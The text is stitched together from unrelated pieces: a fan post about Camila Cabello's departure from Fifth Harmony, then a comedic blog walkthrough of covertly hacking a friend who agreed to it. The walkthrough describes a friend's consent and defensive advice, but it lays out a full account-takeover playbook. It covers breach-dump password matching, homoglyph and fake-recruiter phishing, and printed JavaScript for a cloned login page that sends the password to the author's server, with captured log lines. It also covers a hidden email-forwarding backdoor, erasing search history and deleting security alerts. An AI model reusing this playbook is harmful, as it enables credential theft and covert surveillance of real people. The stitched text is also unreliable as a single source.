One example is during the 7/27 tour in St. Louis when she had an anxiety attack, and couldn’t preform, but still preformed the next day. Panic attacks can happen because of demanding situations, or stress whether it be physical, emotional, or psychological.
Do you care,  Do you care?  Why don’t you care?
I gave you all of me
My blood my sweat  my heart and my tears
Why don’t you care?
{Camila}:  “They were actually working us to the fucking bone.”
{Lauren to Ally}: “ They’re making decisions on a regular basis to fuck us over, to make us literal slaves Ally.. we’re doing fucking labor everyday, and we see nothing.”
NUMBER 1  tell me who do you think you are?
You’ve got some nerve trying to tear my faith apart.
NUMBER 2  why would you try to play me for a fool?
I should've never trusted you.
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The Camila from 2014 who was just a girl with big dreams, and the Camila from 2016 the girl that was feeling doomed inside hotel rooms... have two very different demeanors.
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Yes, it’s true  bands never last a long time together, but they made the fans that she loved hate her. That way she wouldn’t have a choice, but to leave because they didn’t want her in the group anymore. They made her want to leave. They pushed the solo idea onto her.  They kicked her off of Fifth Harmony. They broke her down.  She was so tired, and you could tell.
NUMBER 3 why would you who you swore that you would be?
These people made it seem like she could trust them, and she believed that. Those people were supposed to be there for her. They were supposed to be her stepping stone. They were supposed to care. The only back they were looking out for though was their own. She would be the next rising “pop idol” and they did what they could to make it happen.
  Money is more important than someone else’s emotions, and health to them.
Don’t believe me? Ask Lauren Jauregui’s knee infection.
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With that I leave you this:
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No matter how successful someone is, or how happy someone looks it  doesn’t mean that they’re actually happy.  There’s a lot of things that go on behind the scenes that nobody knows about. You may think you know, but you don’t. They show you 10% of their life on social media, but that doesn’t mean you automatically know 90% of their life. You may talk to them for 5- 15 minutes, but that doesn’t mean you know what they’re going through. Make sure you show them love. Make sure you show them support. Make sure they know that no matter what they’re going through they have a fan base that won’t ever stop appreciating them even if they end up being  poor.   Show them you care no matter what. Show them you love them for them and not just because they’re “famous.” If you’re lucky enough give them the longest hug you can, because not everyone can.
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Operation Luigi: How I hacked my friend without her noticing
This blog has moved! This post and other mistakes are now at https://mango.pdf.zone
Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.
Several months ago
I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.
I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:
I'll start some time in the next 12 months
No deleting anything she has
No disrupting her daily life
Stop asking if she's sure it's okay
Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.
I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.
And uh also at the end Mario's green friend is there.
Part 1: Research
"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this
Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.
Jeez we're gonna need to know her email address aren't we?
People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.
The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo
[x] email address [ ] the respect of my peers
Does she use this email for Twitter?
Yep.
How about her phone number?
I type a bunch of extremely clumsy things into Google. I'm talkin' "[email protected] phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.
There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at [email protected] or [her phone number]". pew pew got 'em.
[x] email [x] phone number [ ] the respect of my peers
Storing the goods
I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.
While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.
Let's try getting into her iCloud account
Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.
I don't really have a good reason for going after iCloud, so if you could just give me a break for one second
If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.
I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.
I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."
There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:
Daaaaaaaaaaaaaaaammmmit.
I have taken the wrong path in this text adventure game.
I've just notified Diana that someone's trying to reset her account.
For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."
There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.
Several days later
My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.
"Hello?"
"Hi, who am I talking to?"
"It's uh Alex."
"Alex?"
"Yeah."
"Alex ``?"
"Uh, noooo it's-"
"Ohhhhhhhhhhhhh."
"Wait so who am I talking to?"
It's Diana.
"What's up?", I ask.
She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.
I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"
She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.
We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.
Before I hang up, I wanna show off my work so far.
"Hey Diana, one more thing"
"Yeah?"
"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.
Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.
"Can you like, find all the accounts I had on all those game websites?"
Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.
"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"
Part 2: Hackinggggg
At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.
But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.
For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7
I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.
The shady password market
Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.
But.... nowhere does it say you have to type in your email address. Cunningly, I type [email protected], executing hacking.
Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.
Let's get the old Tumblr database
I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.
...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.
Ancient forbidden password rituals
The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:
[email protected]:3a1920ceb2791d034973c899907847cb58810808
That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.
My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".
These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.
Finding the salt
There's no official information on what kind of hashes are in Tumblr.txt.
The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.
I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.
But I can't find it because fun fact I'm a total fraud.
Can I get the password... without the salt?
So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?
The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:
[email protected]:cooldad64HNc62V8 [email protected]:cooldad64HNc62V8 [email protected]:p@triots69HNc62V8 [email protected]:Bongo1HNc62V8
I search Tumblr.txt for not [email protected], but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)
I find more than 20 Tumblr users with the same password as Diana aw yeah
[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…
This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.
But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.
I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.
Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?
LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.
I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.
[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1
More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)
This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.
I try to log in to her Hotmail account with the password qwerty1.
"Incorrect password"
Wait please this was supposed to be easy please no why is it like this don't do this to me
Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.
Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.
I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.
On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.
Looks like I just missed out. The plot thickens audibly.
This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.
Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".
Part 3: Hackinggggg (again)
Social engineering
Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.
To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.
You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.
Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.
Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"
But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.
Hand-crafting artisanal phishing emails to sell at the Sunday markets
Let's write down what we want to do:
Get Diana's email password
Don't let her realise that the email is not legit
Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm
So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.
The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".
But of course, you log in to a fake website which steals your password.
Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.
I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".
Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.
I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.
Now it looks like this:
I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "[email protected]". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".
I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.
Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:
οo
Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.
So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.
I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.
How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.
I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.
Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.
I copy the existing login.live.com page, and pre-fill [email protected] in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.
Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.
https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin
Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).
Here's what the login page does:
// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }
This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.
This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.
I login to my fake "Microsoft Account Team" hotmail account, send the email to [email protected] and wait for her to have herself a red-hot browse.
About 12 hours later, I check my logs to see if she's typed her password.
She doesn't.
I wait another 12 hours.
Still nothing.
I send the email again, wincing slightly, this time saying she has 24 hours.
Still nothing.
Well damn
I guess that didn't work. She must have just ignored the email as uninteresting18
I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.
Sniper scope targeted phishing blap blap
I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.
This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.
I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.
I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.
Let's play: who's gonna send this doc to Diana?
I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.
I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.
Here's what Kathleen is going to email Diana.
Looks legit riiiight?
The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".
I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.
At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.
The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.
When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks
She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.
Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.
I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.
Waiting
That night, I check my website's logs for any passwords from my fake Hotmail login form.
- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"
"Got it!"
..... is what I think, at first.
Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.
This is not her Hotmail password, and everything is terrible.
From this we can draw two conclusions:
Diana doesn't know what her Hotmail password is
She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked
I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.
By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.
I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.
My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.
What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.
I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.
Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.
I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.
Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.
Hours later
It works.
108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"
I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.
I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.
The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.
Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.
"But that would never work on me"
It would tho.
Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."
The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.
I guess what I'm saying here is "don't go shaming phishing victims plz".
Anyway sorry back to haͅck͐i̥n̏g̜
Part 4: HACKER VOICE I'M IN
I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.
The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.
In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.
I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.
An interlude from Diana
Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.
Diana doesn't reply.
Hey remember how you can search email?
Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.
Try going to your email and searching for "password". Betcha there's passwords in there.
In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.
This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.
To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order
Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.
Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.
I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.
At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".
I panic a little. Have I been found out? I log in to [email protected] (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to [email protected] (presumably the new email that Diana now forwards all her mail to).
This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?
(When I interview her after all this, she says yes, that's exactly what she did.)
What now?
Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.
But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called
Operation Luigi
Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.
Why not brighten up YOUR social media presence with this game boy?
Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.
Step 1: Get in to her Twitter and LinkedIn
So, I want to:
Get access to Diana's Twitter
Not lock Diana out
Not alert Diana that I'm up in her stuff
I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.
Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.
I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.
Wait until Diana is asleep
Disable Diana's email forwarding
Go to Twitter and reset her password
Click the password reset link that gets emailed to her
Set her password to qwerty1
Delete the password reset email
Delete the "New Twitter Sign In" email
Re-enable email forwarding
The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.
I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.
Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.
As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.
Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.
Astute readers will have noticed this little guy in the screenshot above.
LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".
Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.
Step 2: Bring in the green boys
